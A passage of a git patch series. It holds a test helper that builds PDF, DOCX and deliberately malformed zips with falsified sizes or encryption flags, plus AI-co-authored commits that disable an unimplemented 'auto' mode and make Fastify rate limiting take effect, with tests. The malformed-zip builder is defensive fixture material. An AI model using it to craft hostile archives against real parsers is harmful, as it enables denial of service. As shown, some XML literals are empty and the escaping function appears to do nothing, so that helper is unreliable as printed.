tests: tiny PDF/DOCX + * documents plus deliberately hostile zips. Not a `*.test.ts` file, so vitest + * doesn't collect it. + */ + +export interface ZipEntrySpec { + name: string; + data: Buffer; + /** 8 (deflate, default) or 0 (stored). */ + method?: 0 | 8; + /** Lie about the uncompressed size in the headers (the bytes themselves are untouched). */ + declaredUncompressedSize?: number; + /** Set the "encrypted" general-purpose flag. */ + encrypted?: boolean; +} + +export function buildZip(entries: ZipEntrySpec[]): Buffer { + const locals: Buffer[] = []; + const centrals: Buffer[] = []; + let offset = 0; + + for (const entry of entries) { + const method = entry.method ?? 8; + const name = Buffer.from(entry.name, 'utf8'); + const body = method === 8 ? deflateRawSync(entry.data) : entry.data; + const uncompressedSize = entry.declaredUncompressedSize ?? entry.data.length; + const flags = entry.encrypted === true ? 0x1 : 0; + const checksum = crc32(entry.data); + + const local = Buffer.alloc(30); + local.writeUInt32LE(0x04034b50, 0); + local.writeUInt16LE(20, 4); // version needed + local.writeUInt16LE(flags, 6); + local.writeUInt16LE(method, 8); + local.writeUInt32LE(checksum, 14); + local.writeUInt32LE(body.length, 18); + local.writeUInt32LE(uncompressedSize, 22); + local.writeUInt16LE(name.length, 26); + locals.push(local, name, body); + + const central = Buffer.alloc(46); + central.writeUInt32LE(0x02014b50, 0); + central.writeUInt16LE(20, 4); // version made by + central.writeUInt16LE(20, 6); // version needed + central.writeUInt16LE(flags, 8); + central.writeUInt16LE(method, 10); + central.writeUInt32LE(checksum, 16); + central.writeUInt32LE(body.length, 20); + central.writeUInt32LE(uncompressedSize, 24); + central.writeUInt16LE(name.length, 28); + central.writeUInt32LE(offset, 42); + centrals.push(central, name); + + offset += local.length + name.length + body.length; + } + + const directory = Buffer.concat(centrals); + const eocd = Buffer.alloc(22); + eocd.writeUInt32LE(0x06054b50, 0); + eocd.writeUInt16LE(entries.length, 8); + eocd.writeUInt16LE(entries.length, 10); + eocd.writeUInt32LE(directory.length, 12); + eocd.writeUInt32LE(offset, 16); + return Buffer.concat([...locals, directory, eocd]); +} + +const DOCX_CONTENT_TYPES = + '' + + '' + + '' + + '' + + '' + + ''; + +const DOCX_ROOT_RELS = + '' + + '' + + '' + + ''; + +function escapeXml(text: string): string { + return text.replaceAll('&', '&').replaceAll('<', '<').replaceAll('>', '>'); +} + +/** A minimal but genuine DOCX (mammoth reads it) with one paragraph per line. */ +export function buildDocx(lines: string[], extraEntries: ZipEntrySpec[] = []): Buffer { + const paragraphs = lines.map((line) => `${escapeXml(line)}`).join(''); + const documentXml = + '' + + '' + + paragraphs + + ''; + return buildZip([ + { name: '[Content_Types].xml', data: Buffer.from(DOCX_CONTENT_TYPES) }, + { name: '_rels/.rels', data: Buffer.from(DOCX_ROOT_RELS) }, + { name: 'word/document.xml', data: Buffer.from(documentXml) }, + ...extraEntries, + ]); +} + +/** A minimal single-font PDF with one line of text per page. */ +export function buildPdf(pageTexts: string[]): Buffer { + const objects: string[] = []; + const pageCount = pageTexts.length; + // Object ids: 1 catalog, 2 pages, 3 font, then (page, content) pairs from 4. + const pageIds = pageTexts.map((_, index) => 4 + index * 2); + objects[1] = '<< /Type /Catalog /Pages 2 0 R >>'; + objects[2] = `<< /Type /Pages /Kids [${pageIds.map((id) => `${id} 0 R`).join(' ')}] /Count ${pageCount} >>`; + objects[3] = '<< /Type /Font /Subtype /Type1 /BaseFont /Helvetica >>'; + pageTexts.forEach((text, index) => { + const pageId = 4 + index * 2; + const stream = `BT /F1 12 Tf 72 720 Td (${text.replaceAll('\\', '\\\\').replaceAll('(', '\\(').replaceAll(')', '\\)')}) Tj ET`; + objects[pageId] = + `<< /Type /Page /Parent 2 0 R /MediaBox [0 0 612 792] /Contents ${pageId + 1} 0 R /Resources << /Font << /F1 3 0 R >> >> >>`; + objects[pageId + 1] = `<< /Length ${stream.length} >>\nstream\n${stream}\nendstream`; + }); + + let out = '%PDF-1.4\n'; + const offsets: number[] = []; + for (let id = 1; id < objects.length; id += 1) { + offsets[id] = out.length; + out += `${id} 0 obj\n${objects[id]}\nendobj\n`; + } + const xrefOffset = out.length; + out += `xref\n0 ${objects.length}\n0000000000 65535 f \n`; + for (let id = 1; id < objects.length; id += 1) { + out += `${String(offsets[id]).padStart(10, '0')} 00000 n \n`; + } + out += `trailer\n<< /Size ${objects.length} /Root 1 0 R >>\nstartxref\n${xrefOffset}\n%%EOF\n`; + return Buffer.from(out, 'latin1'); +} From 48b5d104521d4c79ad8802e8eb5d1ca67344c54e Mon Sep 17 00:00:00 2001 From: Claude Date: Tue, 27 Oct 2026 13:08:02 +0000 Subject: [PATCH 32/91] fix(applications): reject mode "auto" until a submission worker exists `mode: "auto"` inserted the application as `queued`, but nothing consumes `queued` applications: there is no submission worker, queue consumer or browser automation. Users who chose "auto" were left in `queued` forever while the UI implied the application was being handled. POST /v1/applications now answers 400 VALIDATION_ERROR ("automatic submission is not available yet", details path `mode`) for mode "auto" unless APPLICATIONS_AUTO_MODE_ENABLED=true. The flag lives in this service's own env schema (z.stringbool, default false, so a typo fails at boot rather than silently picking a side) and in .env.example. The check runs before any database work, so a rejected request writes nothing and does not burn its idempotency key. "manual" and "review" are unaffected. The route and the createApplicationRequestSchema now document what each mode really does today. Tests: the existing "starts an auto-mode application already queued" case now runs against an app instance with the flag on (intended behaviour change); new cases cover the default rejection (nothing written) and the env parsing. Co-Authored-By: Claude Sonnet 5.5 Claude-Session: https://claude.ai/code/session_01BdqVHQRXj76uudaef6gTD1 --- .env.example | 5 +++ packages/types/src/api.ts | 6 +++ services/applications/src/env.ts | 6 +++ .../src/http/routes/create-application.ts | 25 ++++++++++- .../test/applications-flow.test.ts | 41 ++++++++++++++++++- services/applications/test/env.test.ts | 21 ++++++++++ 6 files changed, 102 insertions(+), 2 deletions(-) create mode 100644 services/applications/test/env.test.ts diff --git a/.env.example b/.env.example index 1d9ef88..d1ac258 100644 --- a/.env.example +++ b/.env.example @@ -72,3 +72,8 @@ SECRET_STORE_LOCAL_ROOT=./.atlas-secrets # outreach-service transport: local (logs only, safe default) | smtp (not implemented yet) OUTREACH_TRANSPORT_DRIVER=local + +# applications-service: accept mode "auto" on POST /v1/applications. Keep false until a submission +# worker consumes queued applications — otherwise auto applications sit in "queued" forever. +# When false, mode "auto" is rejected with 400 VALIDATION_ERROR; "manual" and "review" are unaffected. +APPLICATIONS_AUTO_MODE_ENABLED=false diff --git a/packages/types/src/api.ts b/packages/types/src/api.ts index 536db67..79e4e50 100644 --- a/packages/types/src/api.ts +++ b/packages/types/src/api.ts @@ -130,6 +130,12 @@ export type IngestJobsRequest = z.infer; export const createApplicationRequestSchema = z.object({ job_id: uuidSchema, resume_id: uuidSchema, + /** + * `manual` / `review` start as an editable draft; the owner applies on the + * employer's site and records the outcome. `auto` is rejected (400 + * VALIDATION_ERROR) unless the service runs with + * APPLICATIONS_AUTO_MODE_ENABLED=true — no submission worker exists yet. + */ mode: applicationModeSchema.default('manual'), }); diff --git a/services/applications/src/env.ts b/services/applications/src/env.ts index 67fcd9b..8868b10 100644 --- a/services/applications/src/env.ts +++ b/services/applications/src/env.ts @@ -7,6 +7,12 @@ export const applicationsServiceEnvSchema = z.object({ ...httpEnvSchema.shape, ...messagingEnvSchema.shape, ...supabaseAuthEnvSchema.shape, + /** + * No worker consumes `queued` applications yet, so `mode: "auto"` would leave + * the user stuck in `queued` forever. Until a submission worker ships, + * POST /v1/applications rejects `auto` unless this is explicitly turned on. + */ + APPLICATIONS_AUTO_MODE_ENABLED: z.stringbool().default(false), }); export type ApplicationsServiceEnv = z.infer; diff --git a/services/applications/src/http/routes/create-application.ts b/services/applications/src/http/routes/create-application.ts index 79f67bf..ba1875e 100644 --- a/services/applications/src/http/routes/create-application.ts +++ b/services/applications/src/http/routes/create-application.ts @@ -19,6 +19,22 @@ const UNIQUE_VIOLATION = '23505'; const idempotencyKeySchema = z.string().min(8).max(200); +/** + * What `mode` actually does today: + * + * - `manual` / `review`: the application starts as an editable `draft`. Nothing + * submits it for the user — they apply on the employer's site (the owner's + * response carries `job.apply_url`) and then record the outcome with + * POST /v1/applications/:id/events. + * - `auto`: the row is inserted as `queued`, but NOTHING consumes `queued` + * applications — there is no submission worker, queue consumer or browser + * automation. An auto application would sit in `queued` forever while the UI + * implies it is being handled. So `auto` is refused with a 400 until a worker + * exists and APPLICATIONS_AUTO_MODE_ENABLED=true is set for this service. + */ +const AUTO_MODE_UNAVAILABLE_MESSAGE = + 'Mode "auto" cannot be used: automatic submission is not available yet. Use "manual" or "review" instead.'; + export function createApplicationRoute(app: FastifyInstance, deps: AppDeps): void { /** The owner's view of `row`, with the job it points at (null if the job or its company is gone). */ async function ownerView(row: ApplicationRow, knownJob?: ApplicationJobSummary | null): Promise { @@ -40,6 +56,12 @@ export function createApplicationRoute(app: FastifyInstance, deps: AppDeps): voi const body = createApplicationRequestSchema.parse(request.body); + if (body.mode === 'auto' && !deps.env.APPLICATIONS_AUTO_MODE_ENABLED) { + throw new AppError('VALIDATION_ERROR', AUTO_MODE_UNAVAILABLE_MESSAGE, { + details: [{ path: 'mode', message: AUTO_MODE_UNAVAILABLE_MESSAGE }], + }); + } + const existingByKey = await findByUserAndIdempotencyKey(deps.db, actor.user_id, idempotencyKey); if (existingByKey) { const sameRequest = @@ -76,7 +98,8 @@ export function createApplicationRoute(app: FastifyInstance, deps: AppDeps): voi organizationId: actor.organization_id, mode: body.mode, // `auto` has nothing manual left to do before it's eligible for - // submission; everything else starts as an editable draft. + // submission; everything else starts as an editable draft. Only + // reachable with APPLICATIONS_AUTO_MODE_ENABLED — see the note above. status: body.mode === 'auto' ? 'queued' : 'draft', idempotencyKey, }); diff --git a/services/applications/test/applications-flow.test.ts b/services/applications/test/applications-flow.test.ts index 7109a0c..d94df0b 100644 --- a/services/applications/test/applications-flow.test.ts +++ b/services/applications/test/applications-flow.test.ts @@ -42,6 +42,8 @@ async function stubJwks(): Promise { describe.skipIf(!testDatabaseUrl)('applications-service HTTP flow', () => { let app: FastifyInstance; + // Same service with APPLICATIONS_AUTO_MODE_ENABLED=true; `app` runs with the default (off). + let autoApp: FastifyInstance; let dbHandle: DatabaseHandle; let token: string; let otherToken: string; @@ -70,6 +72,22 @@ describe.skipIf(!testDatabaseUrl)('applications-service HTTP flow', () => { }); await app.ready(); + const autoEnv = loadApplicationsServiceEnv({ + DATABASE_URL: testDatabaseUrl, + PORT: '4005', + SUPABASE_URL, + APPLICATIONS_AUTO_MODE_ENABLED: 'true', + }); + autoApp = buildApp({ + db: dbHandle.db, + sql: dbHandle.sql, + env: autoEnv, + logger: createSilentLogger(), + broker, + tokenVerifier: createTokenVerifierConfig(autoEnv), + }); + await autoApp.ready(); + // public.users.user_id FKs to auth.users.id (see packages/db/supabase/auth-hooks.sql); // inserting into auth.users fires handle_new_user, which creates the matching // public.users row itself. @@ -137,6 +155,7 @@ describe.skipIf(!testDatabaseUrl)('applications-service HTTP flow', () => { await dbHandle.db.delete(schema.resumes).where(eq(schema.resumes.userId, userId)); // Cascades to public.users via the auth.users FK. await dbHandle.sql`delete from auth.users where id in (${userId}, ${otherUserId})`; + await autoApp.close(); await app.close(); await dbHandle.close(); }); @@ -189,15 +208,35 @@ describe.skipIf(!testDatabaseUrl)('applications-service HTTP flow', () => { expect(res.json().error.code).toBe('CONFLICT'); }); - it('starts an auto-mode application already queued', async () => { + it('rejects mode "auto" while automatic submission is not available (flag off by default)', async () => { const res = await app.inject({ method: 'POST', url: '/v1/applications', headers: { authorization: `Bearer ${token}`, 'idempotency-key': 'idem-key-3-auto' }, payload: { job_id: secondJobId, resume_id: resumeId, mode: 'auto' }, }); + expect(res.statusCode).toBe(400); + const error = res.json().error; + expect(error.code).toBe('VALIDATION_ERROR'); + expect(error.message).toContain('automatic submission is not available yet'); + expect(error.details).toEqual([expect.objectContaining({ path: 'mode' })]); + + // Nothing was written, so the user can't end up stuck in `queued` — and + // the rejected request didn't burn its idempotency key or the job. + const rows = await dbHandle.db.select().from(schema.applications).where(eq(schema.applications.userId, userId)); + expect(rows.map((r) => r.jobId)).not.toContain(secondJobId); + }); + + it('starts an auto-mode application already queued when APPLICATIONS_AUTO_MODE_ENABLED=true', async () => { + const res = await autoApp.inject({ + method: 'POST', + url: '/v1/applications', + headers: { authorization: `Bearer ${token}`, 'idempotency-key': 'idem-key-3-auto' }, + payload: { job_id: secondJobId, resume_id: resumeId, mode: 'auto' }, + }); expect(res.statusCode).toBe(201); expect(res.json().application.status).toBe('queued'); + expect(res.json().application.mode).toBe('auto'); }); it('lists the caller\'s own applications', async () => { diff --git a/services/applications/test/env.test.ts b/services/applications/test/env.test.ts new file mode 100644 index 0000000..acef7f5 --- /dev/null +++ b/services/applications/test/env.test.ts @@ -0,0 +1,21 @@ +import { describe, expect, it } from 'vitest'; +import { loadApplicationsServiceEnv } from '../src/env.js'; + +const BASE = { DATABASE_URL: 'postgres://atlas:atlas@localhost:5432/atlas', PORT: '4005', SUPABASE_URL: 'https://test-project.supabase.co' }; + +describe('APPLICATIONS_AUTO_MODE_ENABLED', () => { + it('defaults to false, so mode "auto" is off unless someone opts in', () => { + expect(loadApplicationsServiceEnv(BASE).APPLICATIONS_AUTO_MODE_ENABLED).toBe(false); + }); + + it('is on only when explicitly set to true', () => { + expect(loadApplicationsServiceEnv({ ...BASE, APPLICATIONS_AUTO_MODE_ENABLED: 'true' }).APPLICATIONS_AUTO_MODE_ENABLED).toBe(true); + expect(loadApplicationsServiceEnv({ ...BASE, APPLICATIONS_AUTO_MODE_ENABLED: 'false' }).APPLICATIONS_AUTO_MODE_ENABLED).toBe(false); + }); + + it('fails fast on a value that is not a boolean, rather than silently picking a side', () => { + expect(() => loadApplicationsServiceEnv({ ...BASE, APPLICATIONS_AUTO_MODE_ENABLED: 'maybe' })).toThrow( + /APPLICATIONS_AUTO_MODE_ENABLED/, + ); + }); +}); From 2a946fc0e92947f58bbb0fbfeed697483b2be9e0 Mon Sep 17 00:00:00 2001 From: Claude Date: Tue, 27 Oct 2026 13:10:32 +0000 Subject: [PATCH 33/91] feat(observability): add registerRateLimitedRoutes so rate limits attach to routes @fastify/rate-limit limits a route from an onRoute hook that only exists once the (asynchronously loaded) plugin is up. Routes declared on the root app right after `void app.register(rateLimit)` are declared first, so the hook never sees them and they are silently not limited. The helper registers the plugin and hands the caller a child scope, which Fastify loads strictly after the plugin, to declare limited routes in. It also limits requests that match no route on the global budget, can attach a stricter per-route limit from a table (failing at ready() if an entry matches no route), and forwards the plugin settings untouched so a shared store can be plugged in at one place. The plugin is passed in rather than imported, so the package takes no new dependency. Co-Authored-By: Claude Sonnet 5.5 Claude-Session: https://claude.ai/code/session_01BdqVHQRXj76uudaef6gTD1 --- packages/observability/src/index.ts | 1 + packages/observability/src/rate-limit.ts | 125 +++++++++++++++++++++++ 2 files changed, 126 insertions(+) create mode 100644 packages/observability/src/rate-limit.ts diff --git a/packages/observability/src/index.ts b/packages/observability/src/index.ts index 1c91776..180cbb2 100644 --- a/packages/observability/src/index.ts +++ b/packages/observability/src/index.ts @@ -1,2 +1,3 @@ export * from './metrics.js'; export * from './fastify.js'; +export * from './rate-limit.js'; diff --git a/packages/observability/src/rate-limit.ts b/packages/observability/src/rate-limit.ts new file mode 100644 index 0000000..7d2ebac --- /dev/null +++ b/packages/observability/src/rate-limit.ts @@ -0,0 +1,125 @@ +import type { + FastifyInstance, + FastifyPluginAsync, + FastifyPluginCallback, + FastifyPluginOptions, + FastifyReply, + FastifyRequest, +} from 'fastify'; + +/** A limit for one route. Same shape as `config.rateLimit` in `@fastify/rate-limit`. */ +export interface RouteRateLimit { + max: number; + timeWindow: string | number; +} + +/** + * Routes that get their own, usually stricter, limit instead of the global one, keyed + * `METHOD /pattern` exactly as the route is declared (`POST /v1/messages/:id/send`). + */ +export type RouteRateLimits = Readonly>; + +export interface RateLimitedRoutesOptions { + /** + * The default export of `@fastify/rate-limit`. It is handed in, not imported here, so this + * package carries no dependency on the plugin; the services already depend on it. `Settings` is + * read from the plugin alone, so `settings` is checked against the plugin's own options. + */ + plugin: FastifyPluginCallback | FastifyPluginAsync; + /** + * Forwarded to the plugin untouched: at least `max` and `timeWindow` (the service's + * `RATE_LIMIT_MAX` / `RATE_LIMIT_WINDOW`). + * + * Counters live in each function instance's memory unless a store is given here. This is the + * hook for a shared one (`store` takes a class implementing the plugin's store interface, `redis` + * takes an ioredis client): set it here, in one place per service, and nothing else changes. + */ + settings: NoInfer; + /** See {@link RouteRateLimits}. */ + routeLimits?: RouteRateLimits; +} + +/** What `@fastify/rate-limit` decorates onto the instance that loads it. */ +interface RateLimitDecorated { + rateLimit(): (request: FastifyRequest, reply: FastifyReply) => Promise; +} + +/** + * Registers `@fastify/rate-limit` and hands `declareRoutes` the scope to declare the routes it + * should limit in. + * + * Only routes declared on `scope` are limited. Routes declared on `app` itself are not, which is + * how a service keeps `/health`, `/metrics` and the scheduler-called `/internal/.../drain` routes + * (bearer-secret authenticated, so never to be throttled) out of the limiter. + * + * Why a scope and not `void app.register(rateLimit)` followed by routes on `app`: the plugin + * limits a route through an `onRoute` hook that only exists once the plugin has loaded, and + * loading is asynchronous. Routes declared on `app` straight after `register()` are declared + * first, so the hook never sees them and they are silently not limited, global limit included. + * The function passed here runs inside a child plugin, which Fastify loads strictly after the + * rate-limit plugin, so every route declared on `scope` is covered. `scope` shares `app`'s error + * handler and hooks, so a 429 comes out in the service's standard error envelope. + * + * Also limited, on the global budget: requests that match no route (unknown paths, unsupported + * methods). They would otherwise be a free way to probe the API. + * + * Call it after registering CORS. A 429 then carries the CORS headers a browser needs to read it, and + * CORS preflights (answered by the CORS plugin's own route) do not spend the budget. + * + * Clients are told apart by `request.ip`, which with `trustProxy: true` is the first + * `X-Forwarded-For` entry. Vercel overwrites that header with the real client address; behind a + * proxy that only appends to it, a client could pick its own bucket, so use a hop count there. + */ +export function registerRateLimitedRoutes( + app: FastifyInstance, + options: RateLimitedRoutesOptions, + declareRoutes: (scope: FastifyInstance) => void, +): void { + const routeLimits = options.routeLimits ?? {}; + const unmatched = new Set(Object.keys(routeLimits)); + + // Hooks run in the order they were added, and the plugin adds its own `onRoute` hook only when + // it loads, which is after this line. Adding ours now means the plugin reads the per-route + // limit we attach (it looks for `config.rateLimit` on the route). + if (unmatched.size > 0) { + app.addHook('onRoute', (route) => { + const methods = Array.isArray(route.method) ? route.method : [route.method]; + for (const method of methods) { + const key = `${method} ${route.url}`; + const limit = routeLimits[key]; + if (limit === undefined) continue; + unmatched.delete(key); + // A limit written on the route itself wins over the table. + if ((route.config as { rateLimit?: unknown } | undefined)?.rateLimit === undefined) { + route.config = { ...route.config, rateLimit: { ...limit } } as typeof route.config; + } + } + }); + + // A limit that no longer matches a route (renamed, removed) would otherwise stop applying + // without a sound, which is the failure this helper exists to prevent. + app.addHook('onReady', async () => { + if (unmatched.size > 0) { + throw new Error( + `Rate limit configured for routes that do not exist: ${[...unmatched].join(', ')}`, + ); + } + }); + } + + void app.register(options.plugin, options.settings); + + // The plugin limits a route from its `onRoute` hook, which a request that matches no route never + // reaches, so those are limited here. The plugin has loaded by the time a request arrives, so + // its `rateLimit` decorator exists; the handler is built once, on first use. + let limitUnmatched: ReturnType | undefined; + app.addHook('onRequest', async (request, reply) => { + if (!request.is404) return; + limitUnmatched ??= (app as unknown as RateLimitDecorated).rateLimit(); + await limitUnmatched(request, reply); + }); + + void app.register(async (scope) => { + declareRoutes(scope); + }); +} From 05f91f1c29925df457ec65f8d30e7b4d2c772496 Mon Sep 17 00:00:00 2001 From: Claude Date: Tue, 27 Oct 2026 13:10:37 +0000 Subject: [PATCH 34/91] fix(services): make rate limiting actually enforce in every service Every service except admin registered @fastify/rate-limit without awaiting it and declared its routes on the root app, so the plugin never attached to them: RATE_LIMIT_MAX / RATE_LIMIT_WINDOW limited nothing, and neither did the route-level limit on resume upload. Routes now go through registerRateLimitedRoutes. /health, /metrics and the scheduler-called /internal/*/drain routes stay on the root app and are never throttled. Requests that match no route are limited too. Stricter per-route limits: outreach send 20/min and application create 30/min (resume upload's existing 20/min now applies). A 429 comes out in the standard RATE_LIMITED envelope with Retry-After and x-ratelimit-* headers. Each service gets a DB-free ratelimit test (a 401 counts toward the limit). They fail against the previous app.ts files. Co-Authored-By: Claude Sonnet 5.5 Claude-Session: https://claude.ai/code/session_01BdqVHQRXj76uudaef6gTD1 --- services/analytics/src/app.ts | 27 ++- services/analytics/test/ratelimit.test.ts | 205 +++++++++++++++++ services/applications/src/app.ts | 42 +++- services/applications/test/ratelimit.test.ts | 186 +++++++++++++++ services/auth/src/app.ts | 26 ++- services/auth/test/ratelimit.test.ts | 207 +++++++++++++++++ services/connectors/src/app.ts | 30 ++- services/connectors/test/ratelimit.test.ts | 175 +++++++++++++++ services/jobs/src/app.ts | 32 ++- services/jobs/test/ratelimit.test.ts | 163 ++++++++++++++ services/learning/src/app.ts | 27 ++- services/learning/test/ratelimit.test.ts | 203 +++++++++++++++++ services/matching/src/app.ts | 27 ++- services/matching/test/ratelimit.test.ts | 178 +++++++++++++++ services/outreach/src/app.ts | 44 +++- services/outreach/test/ratelimit.test.ts | 192 ++++++++++++++++ services/profile/src/app.ts | 32 ++- services/profile/test/ratelimit.test.ts | 224 +++++++++++++++++++ services/referrals/src/app.ts | 31 ++- services/referrals/test/ratelimit.test.ts | 214 ++++++++++++++++++ 20 files changed, 2189 insertions(+), 76 deletions(-) create mode 100644 services/analytics/test/ratelimit.test.ts create mode 100644 services/applications/test/ratelimit.test.ts create mode 100644 services/auth/test/ratelimit.test.ts create mode 100644 services/connectors/test/ratelimit.test.ts create mode 100644 services/jobs/test/ratelimit.test.ts create mode 100644 services/learning/test/ratelimit.test.ts create mode 100644 services/matching/test/ratelimit.test.ts create mode 100644 services/outreach/test/ratelimit.test.ts create mode 100644 services/profile/test/ratelimit.test.ts create mode 100644 services/referrals/test/ratelimit.test.ts diff --git a/services/analytics/src/app.ts b/services/analytics/src/app.ts index 07778be..6e3a428 100644 --- a/services/analytics/src/app.ts +++ b/services/analytics/src/app.ts @@ -9,7 +9,12 @@ import type { Database } from '@atlas/db'; import type { EventBroker } from '@atlas/messaging'; import type { ErrorCode } from '@atlas/types'; import { isAppError, newUuid, toAppError, type Logger } from '@atlas/utils'; -import { createMetricsRegistry, metricsRoute, registerHttpMetrics } from '@atlas/observability'; +import { + createMetricsRegistry, + metricsRoute, + registerHttpMetrics, + registerRateLimitedRoutes, +} from '@atlas/observability'; import type { AnalyticsServiceEnv } from './env.js'; import { drainRoute } from './http/routes/drain.js'; import { getSummaryRoute } from './http/routes/get-summary.js'; @@ -43,10 +48,6 @@ export function buildApp(deps: AppDeps): FastifyInstance { }); void app.register(cors, { origin: parseCorsOrigins(deps.env.CORS_ORIGINS) }); - void app.register(rateLimit, { - max: deps.env.RATE_LIMIT_MAX, - timeWindow: deps.env.RATE_LIMIT_WINDOW, - }); const metrics = createMetricsRegistry('analytics-service'); registerHttpMetrics(app, metrics); @@ -92,10 +93,24 @@ export function buildApp(deps: AppDeps): FastifyInstance { }); }); + // Probes are scraped by infrastructure and stay outside the rate limiter. healthRoute(app, deps); metricsRoute(app, metrics); + // Machine-authenticated (bearer secret) and called by the scheduler: never throttled. drainRoute(app, deps); - getSummaryRoute(app, deps); + + // Everything else is declared inside the rate-limited scope: see registerRateLimitedRoutes for + // why routes declared on `app` right after registering the plugin would not be limited. + registerRateLimitedRoutes( + app, + { + plugin: rateLimit, + settings: { max: deps.env.RATE_LIMIT_MAX, timeWindow: deps.env.RATE_LIMIT_WINDOW }, + }, + (api) => { + getSummaryRoute(api, deps); + }, + ); return app; } diff --git a/services/analytics/test/ratelimit.test.ts b/services/analytics/test/ratelimit.test.ts new file mode 100644 index 0000000..da94c24 --- /dev/null +++ b/services/analytics/test/ratelimit.test.ts @@ -0,0 +1,205 @@ +import type { FastifyInstance } from 'fastify'; +import { afterEach, describe, expect, it } from 'vitest'; +import { createTokenVerifierConfig } from '@atlas/auth-kit'; +import { createDatabase, type DatabaseHandle } from '@atlas/db'; +import { createBroker, type DrainableBroker, type DrainOptions } from '@atlas/messaging'; +import { createSilentLogger } from '@atlas/utils'; +import { buildApp } from '../src/app.js'; +import { loadAnalyticsServiceEnv } from '../src/env.js'; + +const SECRET = 'cron-secret-for-tests-0123456789'; +const SUPABASE_URL = 'https://test-project.supabase.co'; +// Nothing listens on port 1. Every request below is turned away before it reaches the database +// (a 401 for a missing token, a 404 or a 429), and /health reports a degraded database quickly. +const UNREACHABLE_DATABASE_URL = 'postgres://atlas:atlas@127.0.0.1:1/atlas_analytics_ratelimit'; + +type StubBroker = DrainableBroker & { calls: DrainOptions[] }; + +function stubBroker(): StubBroker { + const calls: DrainOptions[] = []; + return { + calls, + publish: async () => undefined, + subscribe: async (options) => ({ consumer: options.consumer, stop: async () => undefined }), + isHealthy: () => true, + close: async () => undefined, + drain: async (options) => { + calls.push(options ?? {}); + return { processed: 0, failed: 0, dead: 0, purged: 0 }; + }, + }; +} + +const opened: Array<{ app: FastifyInstance; handle: DatabaseHandle }> = []; + +async function build( + envOverrides: Record = {}, + broker: DrainableBroker | ReturnType = createBroker({ + driver: 'memory', + logger: createSilentLogger(), + }), +): Promise { + const env = loadAnalyticsServiceEnv({ + DATABASE_URL: UNREACHABLE_DATABASE_URL, + PORT: '4010', + SUPABASE_URL, + LOG_LEVEL: 'fatal', + RATE_LIMIT_MAX: '3', + ...envOverrides, + }); + const handle = createDatabase({ url: env.DATABASE_URL }); + const app = buildApp({ + db: handle.db, + sql: handle.sql, + env, + logger: createSilentLogger(), + broker, + tokenVerifier: createTokenVerifierConfig(env), + }); + opened.push({ app, handle }); + await app.ready(); + return app; +} + +afterEach(async () => { + for (const { app, handle } of opened.splice(0)) { + await app.close(); + await handle.close(); + } +}); + +type TestRequest = { method: 'GET' | 'POST'; url: string; headers?: Record }; + +/** Statuses of `count` sequential requests. A 401 (no token) counts against the limit like any other. */ +async function statuses( + app: FastifyInstance, + count: number, + request: TestRequest, +): Promise { + const out: number[] = []; + for (let attempt = 0; attempt < count; attempt += 1) { + out.push((await app.inject(request)).statusCode); + } + return out; +} + +// Rate limiting attaches to routes through an `onRoute` hook that only exists once the +// (asynchronously loaded) @fastify/rate-limit plugin is up, so routes declared directly on the +// root app right after `register(rateLimit)` are silently not limited. See app.ts. +describe('analytics-service rate limiting', () => { + it('throttles business routes once the configured maximum is reached and answers 429 RATE_LIMITED', async () => { + const app = await build(); + + expect(await statuses(app, 5, { method: 'GET', url: '/v1/analytics/summary' })).toEqual([ + 401, 401, 401, 429, 429, + ]); + + const throttled = await app.inject({ method: 'GET', url: '/v1/analytics/summary' }); + expect(throttled.statusCode).toBe(429); + expect(throttled.json().error).toMatchObject({ + code: 'RATE_LIMITED', + message: expect.stringContaining('Rate limit exceeded'), + request_id: expect.stringMatching(/^[0-9a-f-]{36}$/), + }); + }); + + it('sends sane rate-limit headers: a decreasing budget, then Retry-After on the 429', async () => { + const app = await build({ RATE_LIMIT_WINDOW: '30 seconds' }); + + const remaining: string[] = []; + for (let attempt = 0; attempt < 3; attempt += 1) { + const res = await app.inject({ method: 'GET', url: '/v1/analytics/summary' }); + expect(res.headers['x-ratelimit-limit']).toBe('3'); + remaining.push(String(res.headers['x-ratelimit-remaining'])); + } + expect(remaining).toEqual(['2', '1', '0']); + + const throttled = await app.inject({ method: 'GET', url: '/v1/analytics/summary' }); + expect(throttled.statusCode).toBe(429); + expect(throttled.headers['x-ratelimit-limit']).toBe('3'); + expect(throttled.headers['x-ratelimit-remaining']).toBe('0'); + // The configured RATE_LIMIT_WINDOW is what sizes the wait, not the plugin default of a minute. + const retryAfter = Number(throttled.headers['retry-after']); + expect(Number.isInteger(retryAfter)).toBe(true); + expect(retryAfter).toBeGreaterThanOrEqual(1); + expect(retryAfter).toBeLessThanOrEqual(30); + expect(Number(throttled.headers['x-ratelimit-reset'])).toBe(retryAfter); + }); + + it('counts unknown routes against the same budget, so probing for paths cannot run free', async () => { + const app = await build(); + + const seen = [ + (await app.inject({ method: 'GET', url: '/v1/analytics/summary' })).statusCode, + (await app.inject({ method: 'GET', url: '/v1/not-a-route' })).statusCode, + (await app.inject({ method: 'GET', url: '/v1/analytics/summary' })).statusCode, + ]; + expect(seen).toEqual([401, 404, 401]); + + const throttled = await app.inject({ method: 'GET', url: '/v1/not-a-route' }); + expect(throttled.statusCode).toBe(429); + expect(throttled.json().error.code).toBe('RATE_LIMITED'); + }); + + it('keeps a separate budget per client address', async () => { + const app = await build(); + const asClient = (address: string): TestRequest => ({ + method: 'GET', + url: '/v1/analytics/summary', + headers: { 'x-forwarded-for': address }, + }); + + expect(await statuses(app, 4, asClient('203.0.113.10'))).toEqual([401, 401, 401, 429]); + // A different client is unaffected by the first one running out. + expect(await statuses(app, 3, asClient('203.0.113.11'))).toEqual([401, 401, 401]); + }); + + it('never throttles /health or /metrics, and they do not spend the budget either', async () => { + const app = await build(); + + const probe = await app.inject({ method: 'GET', url: '/health' }); + const probeStatuses = await statuses(app, 10, { method: 'GET', url: '/health' }); + expect(probeStatuses.every((status) => status === probe.statusCode)).toBe(true); + expect(probe.statusCode).not.toBe(429); + expect(probe.headers['x-ratelimit-limit']).toBeUndefined(); + expect(await statuses(app, 10, { method: 'GET', url: '/metrics' })).toEqual( + Array(10).fill(200), + ); + + // The probes above did not touch the business budget... + expect(await statuses(app, 3, { method: 'GET', url: '/v1/analytics/summary' })).toEqual([ + 401, 401, 401, + ]); + // ...and once it is spent, the probes still answer. + expect((await app.inject({ method: 'GET', url: '/v1/analytics/summary' })).statusCode).toBe( + 429, + ); + expect((await app.inject({ method: 'GET', url: '/health' })).statusCode).toBe(probe.statusCode); + expect((await app.inject({ method: 'GET', url: '/metrics' 